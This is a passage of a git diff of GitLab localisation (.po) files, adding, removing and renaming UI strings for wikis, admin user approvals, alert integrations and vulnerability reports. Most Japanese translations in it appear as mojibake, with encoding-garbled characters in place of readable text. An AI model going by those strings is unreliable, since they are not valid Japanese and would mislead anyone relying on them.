+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr "Riceverai notifiche solo per i commenti ai quale sei stato menzionato"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "Non sarai in grado di eseguire pull o push di codice tramite %{protocol} fino a che %{set_password_link} nel tuo account."
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/ja/gitlab.po b/locale/ja/gitlab.po
index e887b5692d5..660811136e1 100644
--- a/locale/ja/gitlab.po
+++ b/locale/ja/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ja\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:48\n"
+"PO-Revision-Date: 2020-12-03 08:17\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -79,6 +79,10 @@ msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] "%d 件ã®æ‰¿èª"
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] "%d 件ã®ãƒ‘ッケージ"
@@ -146,14 +150,14 @@ msgid "%d day"
msgid_plural "%d days"
msgstr[0] "%d æ—¥"
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] "%d 件ã®ã‚¨ãƒ©ãƒ¼"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d exporter"
@@ -296,24 +300,15 @@ msgstr "%{actionText} 㨠%{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
msgid "%{authorsName}'s thread"
msgstr "%{authorsName}ã®ã‚¹ãƒ¬ãƒƒãƒ‰"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr ""
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr ""
@@ -385,6 +380,9 @@ msgstr "%{count} 件ã®é–¢é€£ã—㟠%{pluralized_subject}: %{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr "%{dashboard_path} ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸã€‚"
@@ -457,21 +455,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr "æ–°ã—ã„場所%{host} ã‹ã‚‰ã®ãƒ­ã‚°ã‚¤ãƒ³"
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType}を削除ã—ã¾ã™ï¼ã‚ˆã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr "%{labelStart}クラス:%{labelEnd} %{class}"
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -505,13 +506,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -544,9 +545,6 @@ msgstr "タイトルã®å…ˆé ­ã« %{link_start} %{draft_snippet} ã¾ãŸã¯ %{wip_
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow}ã€ãã—ã¦ã•ã‚‰ã« %{awardsListLength} 個。"
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} 開始"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr "%{location} ã«å¿…è¦ãªã‚­ãƒ¼ãŒã‚ã‚Šã¾ã›ã‚“: %{keys}"
@@ -645,31 +643,13 @@ msgstr[0] "%{releases} リリース"
msgid "%{remaining_approvals} left"
msgstr "残り%{remaining_approvals}"
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -725,6 +705,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} ブランãƒ"
@@ -817,6 +800,9 @@ msgstr "%{userName}ã®ã‚¢ãƒã‚¿ãƒ¼"
msgid "%{user_name} profile page"
msgstr "%{user_name} プロフィールページ"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "%{username}ã®ã‚¢ãƒã‚¿ãƒ¼"
@@ -835,12 +821,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1415,9 +1395,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr "有効化"
-
msgid "Activate Service Desk"
msgstr "サービスデスクを有効ã«ã™ã‚‹"
@@ -1764,9 +1741,15 @@ msgstr "管ç†ãƒ¢ãƒ¼ãƒ‰ã¯æœ‰åŠ¹ã§ã™"
msgid "Admin notes"
msgstr "管ç†è€…メモ"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr " アクティブãªãƒ¦ãƒ¼ã‚¶ãƒ¼"
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr "請求ã®å¯èƒ½ãªãƒ¦ãƒ¼ã‚¶ãƒ¼"
@@ -1989,6 +1972,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "アクティブ"
@@ -2037,18 +2029,21 @@ msgstr "ブロック済ã¿"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr "ユーザーã®ãƒ–ロックã«ã¯æ¬¡ã®åŠ¹æžœãŒã‚ã‚Šã¾ã™:"
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "LDAP ã§ãƒ–ロックã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚’ブロック解除ã§ãã¾ã›ã‚“"
msgid "AdminUsers|Deactivate"
msgstr "無効ã«ã™ã‚‹"
-msgid "AdminUsers|Deactivate User %{username}?"
-msgstr "ユーザー %{username} ã‚’éžã‚¢ã‚¯ãƒ†ã‚£ãƒ–ã«ã—ã¾ã™ã‹?"
-
msgid "AdminUsers|Deactivate user"
msgstr "ユーザーを無効ã«ã™ã‚‹"
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Deactivated"
msgstr "éžæœ‰åŠ¹åŒ–済ã¿"
@@ -2073,6 +2068,9 @@ msgstr "外部"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2109,6 +2107,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr "Web, Git, APIã‚’å«ã‚€ã€ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¸ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚¢ã‚¯ã‚»ã‚¹ã‚’復元ã—ã¾ã™ã€‚"
@@ -2148,6 +2155,15 @@ msgstr "確èªã®ãŸã‚ã€%{projectName} を入力ã—ã¦ãã ã•ã„"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "確èªã®ãŸã‚ã€%{username} を入力ã—ã¦ãã ã•ã„"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "ユーザーã¯gitリãƒã‚¸ãƒˆãƒªã«ã‚¢ã‚¯ã‚»ã‚¹ã§ããªããªã‚Šã¾ã™"
@@ -2157,6 +2173,9 @@ msgstr "ユーザーã¯ãƒ­ã‚°ã‚¤ãƒ³ã§ããªããªã‚Šã¾ã™"
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr "ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ãŒå†ã³ãƒ­ã‚°ã‚¤ãƒ³ã™ã‚‹ã¨ã€ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¯æœ‰åŠ¹ã«ãªã‚Šã¾ã™"
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "プロジェクトãªã—"
@@ -2166,6 +2185,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2178,7 +2206,13 @@ msgstr ""
msgid "Administration"
msgstr "管ç†"
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2389,6 +2423,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2398,9 +2450,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2428,6 +2489,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2440,7 +2507,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2449,27 +2522,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2479,9 +2576,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2491,6 +2585,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2503,6 +2609,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "アラート"
@@ -2518,16 +2627,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
